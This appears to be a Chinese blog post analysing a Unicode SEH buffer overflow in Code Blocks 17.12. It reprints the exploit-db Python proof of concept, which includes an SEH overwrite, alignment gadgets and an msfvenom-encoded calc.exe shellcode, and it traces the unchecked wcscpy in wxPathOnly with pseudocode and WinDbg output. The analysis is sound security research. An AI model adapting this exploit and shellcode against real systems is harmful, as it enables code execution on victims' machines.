近期在逛exploit-db时发现Code Blocks 17.12存在溢出,所以顺手就分析了一下。这个洞比较特别,是基于unicode数据格式的溢出,不多见。

环境

环境准备


codeblocks下载:https://www.exploit-db.com/apps/00de2366edbc44fa0006765896aa1718-codeblocks-17.12-setup.exe
windows 7 x86 sp1
Windows Debugger Version 6.11.0001.404 X86

explit-db提供的exp

#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title:  Code Blocks 17.12 - Local Buffer Overflow (SEH)(Unicode)
# Date: 01-10-2019
# Vulnerable Software: Code Blocks 17.12
# Vendor Homepage: http://www.codeblocks.org/
# Version: 17.12
# Software Link:
# http://sourceforge.net/projects/codeblocks/files/Binaries/17.12/Windows/codeblocks-17.12-setup.exe
# Tested Windows 7 SP1 x86
#
#
# PoC
# 1. generate codeblocks.txt, copy contents to clipboard
# 2. open cold blocks app
# 3. select File, New, Class
# 4. paste contents from clipboard into Class name
# 5. select Create
# 6. pop calc
#

filename = "codeblocks.txt"


junk = "A"*1982


nseh = "x61x62"

#0x005000e0 pop edi # pop ebp # ret  | startnull,unicode {PAGE_EXECUTE_READ} [codeblocks.exe]
seh = "xe0x50"

nops = "x47"*10

valign = (
"x53"                 #push ebx
"x47"                 #align
"x58"                 #pop eax
"x47"                          #align
"x47"                          #align
"x05x28x11"                     #add eax  
"x47"                          #align
"x2dx13x11"                  #sub eax
"x47"                #align
"x50"                #push eax
"x47"                #align
"xc3"                #retn
)

nops_sled = "x47"*28

#msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX
#Payload size: 517 bytes
calc = (
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1A"
"IQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIXDBM0KPKP1PU9ZE01I0RD4KPPP0DK0RLL4KB2MD4KRRN"
"HLO6WOZNFP1KOFLOLC13LKRNLMPI18OLMM17W9RKBB21GTKPRLPDKPJOL4K0LN1RXZCPHKQZ1PQ4K29O0KQXS4KOY"
"N8YSOJOYDKNT4KKQXV01KOFLY18OLMM1GWOH9PSEKFM3SMZXOKSMNDT5ITPXDKPXMTKQ8SC6TKLL0KTKPXMLM1YCD"
"KLDTKM1J0SYOTMTMTQKQKS10YQJB1KOIPQO1OQJ4KMBZK4MQM2JKQ4MTEX2KPKPKPPP2HP1TKBOTGKOZ5GKJP6UVB"
"0V2HW65EGM5MKO8UOLLFSLLJU0KKIPRUKUWK0GMCCBRORJKPB3KOIE2CC1RLQSNNQU2X35M0AA")

fill = "D"*10000

buffer = junk + nseh + seh + nops + valign + nops_sled + calc + fill

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

 

漏洞分析

直接利用exp执行

1548077704859

可以看到调用栈已经被破坏,但是exp并没有用,可能是因为环境的原因。接下来具体分析造成溢出的原因

在函数wxmsw28u_gcc_cb!Z10wxPathOnlyRK8wxString中发生了溢出,看看wxPathOnly到底干了什么

const wxString *__cdecl wxPathOnly(const wxString *a1, const wchar_t **a2)
{
  wxStringBase *v2; // eax
  const wchar_t *v4; // ecx
  int v5; // eax
  wchar_t v6; // dx
  wchar_t v7; // dx
  unsigned int v8; // [esp+Ch] [ebp-810h]
  wchar_t v9; // [esp+10h] [ebp-80Ch]
  __int16 v10; // [esp+12h] [ebp-80Ah]
  __int16 v11; // [esp+14h] [ebp-808h]
  __int16 v12; // [esp+16h] [ebp-806h]

  if ( *((_DWORD *)*a2 - 2) )
  {
    wcscpy(&v9, *a2);  <=== 关注
    v4 = *a2;
    v5 = *((_DWORD *)*a2 - 2) - 1;
    if ( v5 >= 0 )
    {
      v6 = v4[v5];   <=== 出错位置
      if ( v6 == '\' || v6 == '/' )
      {
LABEL_11:
        if ( !v5 )
          v5 = 1;
        *(&v9 + v5) = 0;
        goto LABEL_14;
      }
      while ( --v5 != -1 )
      {
        v7 = v4[v5];
        if ( v7 == '/' || v7 == '\' )
          goto LABEL_11;
      }
    }
    if ( !iswctype(v9, 0x103u) || v10 != 58 )
      goto LABEL_2;
    v11 = 46;
    v12 = 0;
LABEL_14:
    wxStringBase::InitWith((wxStringBase *)&v9, 0, *(unsigned int *)&wxStringBase::npos, v8);
    return a1;
  }
LABEL_2:
  v2 = (wxStringBase *)wxEmptyString;
  if ( !wxEmptyString )
    v2 = (wxStringBase *)&unk_6D18CE6C;
  wxStringBase::InitWith(v2, 0, *(unsigned int *)&wxStringBase::npos, v8);
  return a1;
}

根据伪码可以发现,如果a2指向的数据长度不受控制,那么执行wcscpy(&v9, *a2),将有可能改变调用栈,大概是这样的

+-------+
|  a2   |   覆盖
+-------+
|  a1   |   覆盖
+-------+
|  ret    |   覆盖
+-------+
|  ebp  |   覆盖
+-------+
| local |
+-------+

如果覆盖了a2的值,那么访问a2的语句将会出错,从而造成崩溃

v6 = v4[v5];

跟踪一下a2的形成

0:000> g
Breakpoint 0 hit
eax=0022df58 ebx=0022e044 ecx=7ffdf000 edx=0022e044 esi=0022e00c edi=7cbca570
eip=6cc66dd0 esp=0022dedc ebp=0022dfb8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
wxmsw28u_gcc_cb!Z10wxPathOnlyRK8wxString:
6cc66dd0 57              push    edi
0:000> k
ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
0022dfb8 6af05d5e wxmsw28u_gcc_cb!Z10wxPathOnlyRK8wxString
0022e088 6af09134 classwizard+0x5d5e
0022e178 6cc41272 classwizard+0x9134
0022e188 6d0f845a wxmsw28u_gcc_cb!ZNK12wxAppConsole11HandleEventEP12wxEvtHandlerMS0_FvR7wxEventES3_+0x22
0022e198 6ccdf374 wxmsw28u_gcc_cb!ZNK13wxXmlDocument4SaveERK8wxStringi+0x8e8aa
00000000 00000000 wxmsw28u_gcc_cb!ZN12wxEvtHandler21ProcessEventIfMatchesERK21wxEventTableEntryBasePS_R7wxEvent+0x64

跟踪classwizard+0x5d5e,其在函数classwizard!sub_6AF05C00函数中

1548081415526

来看一下函数ZN13EditorManager3NewERK8wxString

1548082459659

这里ida在显示伪码时,有错误,其实a3应该为a2,为了方便查看,对应的伪码为

// 函数应该只有两个参数,一个ecx,另一个通过改变[esp]传递 
// ZN13EditorManager3NewERK8wxString(a1@ecx, wxString *a2)
_DWORD *__fastcall ZN13EditorManager3NewERK8wxString(int a1, int a2, signed int *a3)
{
  ...
  v45 = a1;
  v49 = sub_61B89C40;
  v50 = dword_61CCF500;
  v52 = sub_6186D465;
  v51 = &v68;
  v53 = &v37;
  sub_61BAE7E0(&v47);
  if ( *(_DWORD *)(*a3 - 8) )
  {
    v48 = -1;
    if ( !(unsigned __int8)Z12wxFileExistsRK8wxString(a3) )
    {
      v44 = &v58;
      Z10wxPathOnlyRK8wxString(&v58, a3); // 这里其实是a2

  ...

  }

方便理解,画图如下

+------+
| esp  |  <= ebp+8 传递的参数a2(a1为ecx)
+------|
| ret  |
+------+
| ebp  |
+------+

整体的调用栈执行流程

sub_6AF05C00
  |-> ZN13EditorManager3NewERK8wxString
        |-> Z10wxPathOnlyRK8wxString

sub_6AF05C00中,参数传递

.text:6AF05D50       lea     ebx, [ebp+v404_wxString]
.text:6AF05D53       mov     ecx, eax        ; _DWORD
.text:6AF05D55       mov     [esp], ebx      ; 传入参数
.text:6AF05D58       call    ds:_ZN13EditorManager3NewERK8wxString ; 其调用wxPathOnly

其实ebx传递的是一个wxString类型的数据,具体通过windbg查看一下

1548147242018

可以看到其值是指向构建类头文件的文件路径,其中ebx又在_ZN13EditorManager3NewERK8wxString中直接传给了wxPathOnly

.text:6186D39E                 mov     edx, [ebp+a2]   <= 传递
.text:6186D3A1                 lea     eax, [ebp+var_60]
.text:6186D3A4                 mov     [ebp+var_B8], eax
.text:6186D3AA                 mov     [esp], eax
.text:6186D3AD                 mov     [esp+4], edx    <= 转化为参数
.text:6186D3B1                 call    ds:_Z10wxPathOnlyRK8wxString

windbg查看一下

1548147819161

结合前面对wxPathOnly的分析,如果对类名没有检测,那么wxPathOnly就会造成溢出,并且通过类名溢出可以直接控制EIP,从而造成命令执行。

1548148482227

至此通过逆向分析,我们捋清了整个导致溢出的过程。

 

参考

exploit-db

源链接

Hacking more

...